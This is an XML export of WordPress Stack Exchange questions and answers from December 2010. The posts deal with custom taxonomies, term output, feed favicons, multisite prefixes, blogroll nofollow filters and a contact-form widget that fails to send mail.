  <row Id="5074" PostTypeId="1" CreationDate="2010-12-09T12:54:44.970" Score="0" ViewCount="116" Body="&lt;p&gt;The Visual / HTML tabs have vanished on the editor on posts and pages.  I'm not sure when this happened, but I've tried deactivating my plugins with no joy.  Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Lucy&lt;/p&gt;&#xA;" OwnerUserId="1786" LastActivityDate="2010-12-09T23:28:23.000" Title="Visual / HTML tabs vanished on editor" Tags="&lt;posts&gt;&lt;editor&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="5075" PostTypeId="2" ParentId="5074" CreationDate="2010-12-09T13:04:19.090" Score="1" ViewCount="" Body="&lt;p&gt;Check your profile's prefs, for starters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you're configured to use the wysiwyg editor, make sure no is error is being reported in the edit posts page.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-09T13:04:19.090" CommentCount="1" />
  <row Id="5078" PostTypeId="1" AcceptedAnswerId="5079" CreationDate="2010-12-09T13:21:57.467" Score="0" ViewCount="828" Body="&lt;p&gt;Well, I'm using my own taxonomy for custom post type. It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy(&quot;our_gallery&quot;, array(&quot;gallery&quot;), array(&quot;hierarchical&quot; =&amp;gt; true, &quot;label&quot; =&amp;gt; &quot;Types&quot;, &quot;singular_label&quot; =&amp;gt; &quot;Type&quot;, &quot;rewrite&quot; =&amp;gt; true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have created a few &quot;types&quot;/categories in my admin panel like &quot;Black and white&quot;, &quot;Landscapes&quot; and so forth...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways I can't figure out how to get these categories out? I mean - display them on my gallery page just next to gallery items?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php $cat = get_the_category();&#xA;    var_dump($cat); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it displays an empty array - &quot;array(0) { }&quot;. How to get access to my own categories? get_the_category('our gallery') and ('gallery') also gives an empty array...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot :)&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2010-12-09T13:45:52.290" Title="Getting Wordpress custom taxonomy/category?" Tags="&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="5079" PostTypeId="2" ParentId="5078" CreationDate="2010-12-09T13:45:52.290" Score="4" ViewCount="" Body="&lt;p&gt;I think you are getting confused by terminology here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Category&lt;/em&gt; is a &lt;code&gt;taxonomy&lt;/code&gt;. Specific categories you create are &lt;code&gt;terms&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;our_gallery&lt;/em&gt; is &lt;code&gt;taxonomy&lt;/code&gt;. &lt;em&gt;Landscapes&lt;/em&gt; is &lt;code&gt;term&lt;/code&gt;. &lt;em&gt;our_gallery&lt;/em&gt; is &lt;strong&gt;not&lt;/strong&gt; &lt;code&gt;category&lt;/code&gt;. It is its own &lt;code&gt;taxonomy&lt;/code&gt; and has nothing to do with &lt;em&gt;category&lt;/em&gt; &lt;code&gt;taxonomy&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_category&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_category()&lt;/code&gt;&lt;/a&gt; function explicitly fetches &lt;code&gt;terms&lt;/code&gt; of &lt;em&gt;category&lt;/em&gt; &lt;code&gt;taxonomy&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get &lt;code&gt;terms&lt;/code&gt; of &lt;em&gt;our_gallery&lt;/em&gt; &lt;code&gt;taxonomy&lt;/code&gt; you need more generic function &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_terms()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-09T13:45:52.290" CommentCount="4" />
  <row Id="5080" PostTypeId="2" ParentId="5026" CreationDate="2010-12-09T14:43:02.050" Score="1" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/FAQ_My_site_was_hacked&quot; rel=&quot;nofollow&quot;&gt;FAQ: My site was hacked « WordPress Codex&lt;/a&gt; and &lt;a href=&quot;http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/&quot; rel=&quot;nofollow&quot;&gt;How to completely clean your hacked wordpress installation&lt;/a&gt; and &lt;a href=&quot;http://ottopress.com/2009/hacked-wordpress-backdoors/&quot; rel=&quot;nofollow&quot;&gt;How to find a backdoor in a hacked WordPress&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress&quot; rel=&quot;nofollow&quot;&gt;Hardening WordPress « WordPress Codex&lt;/a&gt;. Do a good job cleaing or you'll be doing it all over again. Who is your host? Check with them, too. Some hosts are better than others when it comes to security and helping with cleaning up after hacks.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2010-12-09T14:43:02.050" />
  <row Id="5081" PostTypeId="2" ParentId="5067" CreationDate="2010-12-09T14:43:42.823" Score="0" ViewCount="" Body="&lt;p&gt;If you're not comfortable with the methods jalefkowit suggested (due to lack of familiarity, not because they're not a good way to accomplish this!), you might want to take a look at the &lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;Redirection&lt;/a&gt; plugin. &lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-12-09T14:43:42.823" CommentCount="3" />
  <row Id="5082" PostTypeId="2" ParentId="5074" CreationDate="2010-12-09T14:45:05.383" Score="1" ViewCount="" Body="&lt;p&gt;Check also the theme, maybe use for a test the default theme. In different cases was a problem with javascript, a plugin or theme has include a error with custom scripts.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-12-09T14:45:05.383" />
  <row Id="5083" PostTypeId="2" ParentId="5053" CreationDate="2010-12-09T14:59:20.957" Score="4" ViewCount="" Body="&lt;p&gt;As @Rarst pointed out, there is no implementation of a favicon in the RSS spec (although there does &lt;a href=&quot;http://atomenabled.org/developers/syndication/#optionalFeedElements&quot; rel=&quot;nofollow&quot;&gt;seem to be one for Atom&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feedburner (and other readers) rely on the de-facto standard that the favicon exists at the website root;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/favicon.ico&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some clients may also try &lt;code&gt;.png&lt;/code&gt; or &lt;code&gt;.gif&lt;/code&gt;, but your safest bet is the standard &lt;code&gt;.ico&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.vreference.com/2009/11/24/fellow-bloggers-how-to-get-your-favicon-working-with-feedburner/&quot; rel=&quot;nofollow&quot;&gt;How to get your favicon working with Feedburner&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ask.metafilter.com/83568/Favicons-for-xmlrss-feeds&quot; rel=&quot;nofollow&quot;&gt;Favicons for XML/RSS feeds&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Favicon&quot; rel=&quot;nofollow&quot;&gt;Wikipedia Favicon&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2010-12-09T14:59:20.957" CommentCount="1" />
  <row Id="5084" PostTypeId="1" AcceptedAnswerId="5086" CreationDate="2010-12-09T15:24:37.683" Score="1" ViewCount="279" Body="&lt;p&gt;This code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_terms($post-&amp;gt;ID, 'type') ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/archives/type/image&quot; rel=&quot;tag&quot;&amp;gt;Tag&amp;lt;/a&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What do to if I want to display only &quot;Tag&quot; word, not link eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tag&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2010-12-09T15:42:03.680" Title="Formating the_terms() function output" Tags="&lt;custom-taxonomy&gt;&lt;functions&gt;&lt;taxonomy&gt;&lt;terms&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="5085" PostTypeId="1" CreationDate="2010-12-09T15:31:06.430" Score="0" ViewCount="392" Body="&lt;p&gt;I am trying to build a custom wordpress widget that is a contact form. I have built the widget and all is fine except the send mail function, where it grabs the form input posts and includes them as the email body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the strange thing, when I take the actual mail functionality out of the actual widget, and include it in the sidebar before the widgets the form send the email just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im thinking maybe since a widget itself has some input fields itself, the mail form is looking for those posts within the widget form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the mail function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;&#xA;//If the form is submitted&#xA;if(isset($_POST['submitted'])) {&#xA;&#xA; //Check to see if the honeypot captcha field was filled in&#xA; if(trim($_POST['checking']) !== '') {&#xA;  $captchaError = true;&#xA; } else {&#xA;&#xA;  //Check to make sure that the name field is not empty&#xA;  if(trim($_POST['contactName']) === '') {&#xA;   $nameError =  __('You forgot to enter your name.', 'medicalthemes'); &#xA;   $hasError = true;&#xA;  } else {&#xA;   $name = trim($_POST['contactName']);&#xA;&#xA;  }&#xA;&#xA;&#xA;  //Check to make sure sure that a valid email address is submitted&#xA;  if(trim($_POST['eemail']) === '')  {&#xA;   $eemailError = __('You forgot to enter your eemail address.', 'medicalthemes');&#xA;   $hasError = true;&#xA;  } else if (!eregi(&quot;^[A-Z0-9._%-]+@[A-Z0-9._%-]+\.[A-Z]{2,4}$&quot;, trim($_POST['eemail']))) {&#xA;   $eemailError = __('|');&#xA;   $hasError = true;&#xA;  } else {&#xA;   $eemail = trim($_POST['eemail']);&#xA;  }&#xA;&#xA;  //Check to make sure that the name field is not empty&#xA;  if(trim($_POST['contactPhone']) === '') {&#xA;   $phoneError =  __('You forgot to enter your phone.', 'medicalthemes'); &#xA;   $hasError = true;&#xA;  } else {&#xA;   $phone = trim($_POST['contactPhone']);&#xA;  }&#xA;&#xA;  //Check to make sure comments were entered &#xA;  if(trim($_POST['comments']) === '') {&#xA;   $commentError = __('You forgot to enter your comments.', 'medicalthemes');&#xA;   $hasError = true;&#xA;  } else {&#xA;   if(function_exists('stripslashes')) {&#xA;    $comments = stripslashes(trim($_POST['comments']));&#xA;   } else {&#xA;    $comments = trim($_POST['comments']);&#xA;   }&#xA;  }&#xA;&#xA;  //If there is no error, send the email&#xA;  if(!isset($hasError)) {&#xA;&#xA;   $eemailTo = get_option('med_contactform_email'); &#xA;   $subject = __('Contact Form Submission from ').get_bloginfo('title');&#xA;&#xA;   $body = __(&quot;Name: $name \n\nEmail: $eemail \n\nPhone: $phone \n\nComments: $comments&quot;, 'medicalthemes');&#xA;   $headers = __('From: ').get_bloginfo('title').' &amp;lt;'.$eemail.'&amp;gt;' . &quot;\r\n&quot; . __('Reply-To: ') . $eemail;&#xA;&#xA;   mail($eemailTo, $subject, $body, $headers);&#xA;&#xA;                   $eemailSent = true;&#xA;&#xA;  }&#xA; }&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the entire widget code: (minus the above mail function)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php&#xA;    /*---------------------------------------------------------------------------------*/&#xA;    /* Social Widget */&#xA;    /*---------------------------------------------------------------------------------*/&#xA;&#xA;    class med_contact extends WP_Widget {&#xA;&#xA;     function med_contact() {&#xA;      $widget_ops = array('description' =&amp;gt; 'Add a contact form to your sidebar' );&#xA;      parent::WP_Widget(false, __('Contact Form', 'medicalthemes'),$widget_ops);      &#xA;     }&#xA;&#xA;     function widget($args, $instance) {  &#xA;&#xA;&#xA;      $title = $instance['title'];&#xA;&#xA;&#xA;            echo '&amp;lt;div id=&quot;contact-form&quot;&amp;gt;';&#xA;&#xA;if($title != ''){&#xA;      ?&amp;gt;&#xA;&#xA;      &amp;lt;?php echo '&amp;lt;h2&amp;gt;'.$title.'&amp;lt;/h2&amp;gt;'; ?&amp;gt;&#xA;&#xA;     &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;Form validation etc....&amp;lt;/script&amp;gt;&#xA;&#xA;&#xA;&#xA;                &amp;lt;?php if(isset($eemailSent) &amp;amp;&amp;amp; $eemailSent == true) { ?&amp;gt;&#xA;&#xA;                    &amp;lt;p class=&quot;info&quot;&amp;gt;&amp;lt;?php _e('Your eemail was successfully sent.', 'medicalthemes'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;                &amp;lt;?php } else { ?&amp;gt;&#xA;&#xA; &amp;lt;?php if(isset($hasError) || isset($captchaError) ) { ?&amp;gt;&#xA;                            &amp;lt;p class=&quot;alert&quot;&amp;gt;&amp;lt;?php _e('There was an error submitting the form.', 'medicalthemes'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;?php } ?&amp;gt;&#xA;&#xA;                        &amp;lt;form action=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; id=&quot;contactForm&quot; method=&quot;post&quot;&amp;gt;&#xA;                            &amp;lt;ol class=&quot;forms&quot;&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&#xA;                                    &amp;lt;input type=&quot;text&quot; name=&quot;contactName&quot; id=&quot;contactName&quot; value=&quot;&amp;lt;?php if(isset($_POST['contactName'])) echo $_POST['contactName'];?&amp;gt;&quot; class=&quot;txt requiredField name&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;&amp;lt;li&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;eemail&quot; id=&quot;eemail&quot; value=&quot;&quot; class=&quot;txt requiredField eemail&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;&#xA;&amp;lt;li&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;contactPhone&quot; id=&quot;contactPhone&quot; value=&quot;&quot; class=&quot;txt requiredField phone&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;&amp;lt;li class=&quot;textarea&quot;&amp;gt;&amp;lt;textarea name=&quot;comments&quot; id=&quot;commentsText&quot;  cols=&quot;30&quot; class=&quot;txt requiredField message&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;                                &amp;lt;li class=&quot;screenReader&quot;&amp;gt;&amp;lt;label for=&quot;checking&quot; class=&quot;screenReader&quot;&amp;gt;&amp;lt;?php _e('If you want to submit this form, do not enter anything in this field', 'medicalthemes') ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;checking&quot; id=&quot;checking&quot; class=&quot;screenReader&quot; value=&quot;&amp;lt;?php if(isset($_POST['checking']))  echo $_POST['checking'];?&amp;gt;&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                &amp;lt;li class=&quot;buttons&quot;&amp;gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;submitted&quot; id=&quot;submitted&quot; value=&quot;true&quot; /&amp;gt;&amp;lt;input class=&quot;submit&quot; type=&quot;submit&quot; value=&quot;&amp;lt;?php _e('Submit', 'medicalthemes'); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;/ol&amp;gt;&#xA;                        &amp;lt;/form&amp;gt;&#xA;&#xA;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;&#xA;              &amp;lt;!-- /#contact-page --&amp;gt;                &#xA;&#xA;&amp;lt;?php  }&#xA;&#xA;      echo '&amp;lt;/div&amp;gt;';&#xA;&#xA;     }&#xA;&#xA;     function update($new_instance, $old_instance) {                &#xA;      return $new_instance;&#xA;     }&#xA;&#xA;     function form($instance) {        &#xA;      $title = esc_attr($instance['title']);&#xA;      $emailadd = esc_attr($instance['emailadd']);&#xA;&#xA;      ?&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;p&amp;gt;&#xA;                &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('title'); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $title; ?&amp;gt;&quot; class=&quot;widefat&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;p&amp;gt;&#xA;                &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('emailadd'); ?&amp;gt;&quot;&amp;gt;Your Email Address&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('emailadd'); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $emailadd; ?&amp;gt;&quot; class=&quot;widefat&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('emailadd'); ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;&#xA;            &amp;lt;?php&#xA;     }&#xA;    } &#xA;&#xA;    register_widget('med_contact');&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So as Ive said, When the top mail functionality code is included withint he actual widget nothing is sent. However, when I take out the mail functionality out of the widget and include it outside the widget the mail sends fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on this would be greatly appreciated.&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T18:14:42.047" LastActivityDate="2011-09-04T19:42:15.610" Title="Using a php mail form within a wordpress widget?" Tags="&lt;email&gt;&lt;widgets&gt;&lt;coding&gt;&lt;form&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="5086" PostTypeId="2" ParentId="5084" CreationDate="2010-12-09T15:42:03.680" Score="6" ViewCount="" Body="&lt;p&gt;While you can specify separators and such in &lt;code&gt;the_terms()&lt;/code&gt; arguments, it assumes that you actually want links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can discard unwanted HTML by using filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_terms', 'no_terms_links', 10, 2);&#xA;&#xA;function no_terms_links($term_list, $taxonomy) {&#xA;&#xA;    if ('type' == $taxonomy)&#xA;        return wp_filter_nohtml_kses($term_list);&#xA;&#xA;    return $term_list;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or just use deeper &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_terms()&lt;/code&gt;&lt;/a&gt; function and iterate through its return to build your own markup.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-09T15:42:03.680" CommentCount="4" />
  <row Id="5087" PostTypeId="1" CreationDate="2010-12-09T16:05:05.090" Score="0" ViewCount="98" Body="&lt;p&gt;Hello wordpressers&lt;br&gt;&#xA;Is there a way of joining custom post types?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One custom post type for &lt;strong&gt;players&lt;/strong&gt; and another custom post type for &lt;strong&gt;results&lt;/strong&gt;?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i'm trying to do is use some post from the custom post type &lt;strong&gt;players&lt;/strong&gt; on post from custom post type &lt;strong&gt;results&lt;/strong&gt;, something like this:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;man unt 2 - 1 valencia&lt;br&gt;&#xA;i have to use players from custom post type &lt;strong&gt;players&lt;/strong&gt;  to show the line up of Man Unt for example.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way, i can use custom fields from cpt &lt;strong&gt;players&lt;/strong&gt; as for example the picture of a player &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'll be wait for an answer. Thanks for your help :)&lt;/p&gt;&#xA;" OwnerUserId="433" LastEditorUserId="433" LastEditorDisplayName="" LastEditDate="2010-12-09T16:28:50.023" LastActivityDate="2010-12-09T18:42:27.293" Title="A sports wordpress website" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="5088" PostTypeId="1" CreationDate="2010-12-09T16:27:54.610" Score="1" ViewCount="165" Body="&lt;p&gt;Ok it is pretty simple. Every post of my blog has a specific country. So i have the custom field country and then, when i write the article i add: japan, argentina, usa, italy etc. to the post. Now in home i like to have a box like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post By Country:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Japan (130 posts)&#xA;Usa (104 posts)&#xA;Argentina (90 posts)&#xA;Italy (46 posts)&#xA;Uk (23 post)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc, etc. Then, be able to click on a contry and have all the post from that country. I'm not so familiar with php queries, can u help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tnx a lot.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-10T13:18:35.240" Title="Sort custom field by post" Tags="&lt;custom-field&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="5090" PostTypeId="1" CreationDate="2010-12-09T16:42:58.170" Score="0" ViewCount="107" Body="&lt;p&gt;When visiting my site (WordPress 3.0.3), images are loaded correctly. However, when you hit refresh, or come back to the same entry, the images' path become something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://tambnguyen.com/wp-content/imgs/ic.cf62525f6780c4cc3784907fe26cbee5.xhassleblad-h4d-40-stainless-steel,j.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the example entry: &lt;a href=&quot;http://tambnguyen.com/hasselblads-ferrari-branded-h4d-camera-now-available-for-only-a-few-thousands-of-pounds/&quot; rel=&quot;nofollow&quot;&gt;http://tambnguyen.com/hasselblads-ferrari-branded-h4d-camera-now-available-for-only-a-few-thousands-of-pounds/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will you please tell me why it's doing that? This string of &quot;ic.cf62525f6780c4cc3784907fe26cbee5.xhassleblad-h4d-40-stainless-steel,j.jpg&quot; is hindering me from sharing the entry's URL correctly on facebook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've gone through all the includes files to look for anything with &quot;ic.&quot; or &quot;md5&quot; and had no luck. please help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-13T08:57:58.047" Title="get rid of random string before an for an image path on wordpress" Tags="&lt;images&gt;&lt;media&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="5091" PostTypeId="2" ParentId="5088" CreationDate="2010-12-09T16:57:27.160" Score="1" ViewCount="" Body="&lt;p&gt;Here's a loop that pulls all your post with the custom field key &quot;Country&quot;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$countryPosts = new WP_Query();&#xA;$countryPosts-&amp;gt;query('meta_key=country');&#xA;?&amp;gt;&#xA;&amp;lt;?php while ($countryPosts-&amp;gt;have_posts()) : $countryPosts-&amp;gt;the_post(); ?&amp;gt;&#xA;CONTENT STUFF HERE&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now to order that you can add &lt;code&gt;order=ASC&lt;/code&gt; or &lt;code&gt;order=DESC&lt;/code&gt; so this line reads: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$countryPosts-&amp;gt;query('meta_key=country&amp;amp;order=ASC');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the loop that will show all the post that have the custom field filled out for a specific country, in this example, Japan:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$countryPosts = new WP_Query();&#xA;$countryPosts-&amp;gt;query('meta_key=country&amp;amp;meta_value=japan');&#xA;?&amp;gt;&#xA;&amp;lt;?php while ($countryPosts-&amp;gt;have_posts()) : $countryPosts-&amp;gt;the_post(); ?&amp;gt;&#xA;CONTENT STUFF HERE&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; After re-reading your question I realized I may not fully understand what you are trying to do correctly.  The above code will let you display posts from a specific country but it won't show that &quot;archives&quot; type navigation box.  From the sound of it, you may want to &lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/introducing-wordpress-3-custom-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;create&lt;/a&gt; a &lt;a href=&quot;http://codex.wordpress.org/Custom_Taxonomies&quot; rel=&quot;nofollow&quot;&gt;custom taxonomy&lt;/a&gt; for countries rather than using a custom field.  This will make it a lot easier to interact with the posts based on the Country.&lt;/p&gt;&#xA;" OwnerUserId="765" LastEditorUserId="765" LastEditorDisplayName="" LastEditDate="2010-12-09T17:09:20.377" LastActivityDate="2010-12-09T17:09:20.377" CommentCount="0" />
  <row Id="5094" PostTypeId="1" AcceptedAnswerId="5096" CreationDate="2010-12-09T17:21:24.877" Score="0" ViewCount="453" Body="&lt;p&gt;How can one get the blog ID as well as the database prefix of the main blog in a wordpress multisite installation? Is the main blog's ID always 1? Also how can the main blog's table prefix be acquired from within the mu-plugin's code?&lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2011-08-21T13:57:25.393" Title="How to get the main blog's id and db prefix from a mu plugin?" Tags="&lt;plugins&gt;&lt;multisite&gt;" AnswerCount="2" />
  <row Id="5096" PostTypeId="2" ParentId="5094" CreationDate="2010-12-09T17:50:11.683" Score="4" ViewCount="" Body="&lt;p&gt;Use the constant &lt;code&gt;BLOG_ID_CURRENT_SITE&lt;/code&gt;. And to get the database table prefix, use;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$main_blog_prefix = $wpdb-&amp;gt;get_blog_prefix(BLOG_ID_CURRENT_SITE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2010-12-09T17:50:11.683" CommentCount="3" />
  <row Id="5097" PostTypeId="2" ParentId="5062" CreationDate="2010-12-09T18:16:31.110" Score="1" ViewCount="" Body="&lt;p&gt;You can filter your blogroll to make all links nofollow with a function like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function nofollow_blogroll( $html ) {&#xA;    // remove existing rel attributes&#xA;    $html = preg_replace( '/\s?rel=&quot;.*&quot;/', '', $html );&#xA;    // add rel=&quot;nofollow&quot; to all links&#xA;    $html = str_replace( '&amp;lt;a ', '&amp;lt;a rel=&quot;nofollow&quot; ', $html );&#xA;    return $html;&#xA;}&#xA;add_filter( 'wp_list_bookmarks', 'nofollow_blogroll' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to do it on a case-by-case basis, though, you're probably stuck with some hacks like @matt pointed out. &lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-12-09T18:16:31.110" />
  <row Id="5098" PostTypeId="1" AcceptedAnswerId="5110" CreationDate="2010-12-09T18:24:39.517" Score="2" ViewCount="154" Body="&lt;p&gt;I am trying to modify the support links under the  help section (Contextual help).I want to replace these &lt;a href=&quot;http://codex.wordpress.org/Using_Themes&quot; rel=&quot;nofollow&quot;&gt;Documentation on Using Themes&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/support/&quot; rel=&quot;nofollow&quot;&gt;Support Forums&lt;/a&gt; with my own .So I removed the links in wp-admin folder from many pages under admin section .But for plugin pages,I can't able to find the files to remove.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to replace or remove the links site wide ? &lt;/p&gt;&#xA;" OwnerUserId="391" LastEditorUserId="391" LastEditorDisplayName="" LastEditDate="2010-12-11T13:19:39.090" LastActivityDate="2011-07-08T13:28:41.240" Title="Modify links under 'help section'?" Tags="&lt;admin&gt;" AnswerCount="2" />
